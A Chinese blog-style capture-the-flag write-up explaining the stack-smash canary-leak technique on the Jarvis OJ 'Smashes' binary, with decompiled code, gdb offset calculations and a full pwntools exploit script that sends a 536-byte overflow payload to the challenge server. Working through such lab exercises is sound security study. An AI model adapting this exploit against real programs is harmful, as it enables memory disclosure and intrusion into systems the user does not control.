(火狐竟然炸啦,害我重写一遍!!!)
在程序加了canary 保护之后,如果我们读取的 buffer 覆盖了对应的值时,程序就会报错,而一般来说我们并不会关心报错信息。而 stack smash 技巧则就是利用打印这一信息的程序来得到我们想要的内容。这是因为在程序发现 canary 保护之后,如果发现 canary 被修改的话,程序就会执行 __stack_chk_fail 函数来打印 argv[0] 指针所指向的字符串
利用栈溢出argv[0]为我们想要的读的字符串的地址,
__forfify_fail函数用来输出字符串内容
例题为Jarvis OJ的Smashes:
用cheecksec查看:
ida源码为:
__int64 sub_4007E0() { __int64 v0; // rax@1 __int64 v1; // rbx@2 int v2; // eax@3 __int64 v4; // [sp+0h] [bp-128h]@1 __int64 v5; // [sp+108h] [bp-20h]@1 v5 = *MK_FP(__FS__, 40LL); __printf_chk(1LL, (__int64)"Hello!\nWhat's your name? "); LODWORD(v0) = _IO_gets((__int64)&v4); if ( !v0 ) LABEL_9: _exit(1); v1 = 0LL; __printf_chk(1LL, (__int64)"Nice to meet you, %s.\nPlease overwrite the flag: "); while ( 1 ) { v2 = _IO_getc(stdin); if ( v2 == -1 ) goto LABEL_9; if ( v2 == '\n' ) break; byte_600D20[v1++] = v2; if ( v1 == ' ' ) goto LABEL_8; } memset((void *)((signed int)v1 + 0x600D20LL), 0, (unsigned int)(32 - v1)); LABEL_8: puts("Thank you, bye!"); return *MK_FP(__FS__, 40LL) ^ v5; }
我们利用_IO_gets输入一个字符串,覆盖到argv的前四个字节,ida看main函数入口:
gdb 在main函数下断然后运行:
指向程序名的 就是argv的地址,可看出argv_addr = 0x7fffffffe188
然后再找输入字符串的位置,因为是调用_IO_gets函数,所在这个函数处下断:
_io_gets 函数读取的内容,指针存放在rsp中,所以gdb 查看rsp
计算输入字符串与argv的距离,确定需要覆盖的长度:
0x7fffffffe188-0x7fffffffdf70=0x128(536)
然后我们在ida中看出:
memset((void *)((signed int)v1 + 0x600D20LL), 0, (unsigned int)(32 - v1))
查看0x600D20处内容发现flag就在这里:
但是我们第二次的输入会覆盖掉这个地方的内容,所以不能用这个地址作为argv的前四位
在 ELF 内存映射时,bss 段会被映射两次,所以我们可以使用另一处的地址来进行输出,可以使用 gdb 的 find来进行查找
可看出0x400d21处也有flag,
构造payload: payload = 'a'*536 +p64(0x400d21)
脚本如下:
from pwn import *
#sh = process('./smashes')
sh = remote('pwn.jarvisoj.com', 9877)
#argv_addr = 0x7fffffffe188
#buf_addr = 0x7fffffffdf70
flag_addr = 0x400d21
#payload = p64(flag_addr)*200#不知名大神的简单粗暴payload
payload = 'a'*536+p64(flag_addr)
sh.recvuntil('name?')
sh.sendline(payload)
sh.recvuntil('flag:')
sh.recv()
sh.sendline('123')
print (sh.recv())
#sh.interactive()
本地测试的时候得不到flag,正确答案要在前面加P,我也不会到为什么我的ida里看的没有P,未解之谜2.0
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------计一个调试时遇到的报错,gdb运行报错
百度之后,说是指针越界,所以要在gdb调试前,加上ulimit -c unlimited,然后就解决啦:
被迫重写的感觉,可以说是特别好啦 ̄へ ̄  ̄へ ̄